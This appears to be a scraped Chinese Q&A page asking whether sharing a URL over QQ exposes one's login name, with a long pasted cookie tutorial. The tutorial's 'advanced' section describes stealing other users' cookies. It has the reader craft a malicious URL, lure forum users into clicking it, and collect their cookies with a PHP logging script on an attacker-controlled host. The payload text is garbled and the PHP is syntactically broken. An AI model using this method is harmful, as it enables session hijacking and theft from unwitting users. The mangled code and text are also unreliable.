在QQ里复制网址给别人,对方会看到自己在该网页的登录名吗?

作者:佚名  浏览量:166  发布时间:2022-11-11

[标签:描述]
肯定不会。这个好像跟电脑的cookies有关。###
  不会,因为每台机子的COOKIE是独一无二的,你复制给他后,他登录该网页只会显示需要他登录用户名和密码才能继续操作……
Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。<br/>&nbsp;&nbsp;
一。了解Cookie
  适用对象:初级读者   Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等。<br/>&nbsp;&nbsp;你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。<br/>&nbsp;&nbsp;   为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6。0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。<br/>&nbsp;&nbsp;通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。<br/>&nbsp;&nbsp;在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。<br/>&nbsp;&nbsp;   Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。<br/>&nbsp;&nbsp;它为我们提供了Server、Expires、Name、value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据
二、Cookie的传递流程
  适用对象:中级读者   当在浏览器地址栏中键入了Amazon的URL,浏览器会向Amazon发送一个读取网页的请求,并将结果在显示器上显示。<br/>&nbsp;&nbsp;这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。<br/>&nbsp;&nbsp;如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。   Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。<br/>&nbsp;&nbsp;服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。<br/>&nbsp;&nbsp;Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。<br/>&nbsp;&nbsp;通常情况下,Cookie包含Server、Expires、Name、value这几个字段,其中对服务器有用的只是Name和value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。
三、Cookie的编程实现
  适用对象:高级读者   多数网页编程语言都提供了对Cookie的支持。<br/>&nbsp;&nbsp;如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。<br/>&nbsp;&nbsp;那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。   该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。<br/>&nbsp;&nbsp;下面我们看具体的实现过程。   1。分析并构造URL   首先打开我们要收集Cookie的网站,这里假设是登陆网站输入用户名“”(不含引号),对数据进行分就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。<br/>&nbsp;&nbsp;该URL就可以在论坛中发布,诱使别人点击了。   2。编制PHP脚本   该脚本的作用就是收集Cookie文件,具体内容如下:   $info = getenv("QUERY_STRING";   if ($info) {   $fp = fopen("info。<br/>&nbsp;&nbsp;txt","a";   fwrite($fp,$info。"\n";   fclose($fp);   }   ?>
。###
这是完全有可能的事情,现在很多网站的登录方式都是采用在网址里加入用户名的方法,如果你把网址复制给别人,而这个人又看得懂网址里面的信息,那你的用户名就很有可能被对方知晓。
但是,网站通常也会做一些防预措施,比如不同的IP地址用同一个用户名登录这个网站,即使用网址登录,也会要求用户再次输入密码以验证用户信息,所以,你也不用太过担心。当然,为了万一,最好不要冒险,不然,被别人用你的信息登录了,你的资料会一览无余的。
[标签:内容]

本文链接: https://www.bigbaik.com/network/576.html
免责声明:本文内容来自互联网,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请联系删除。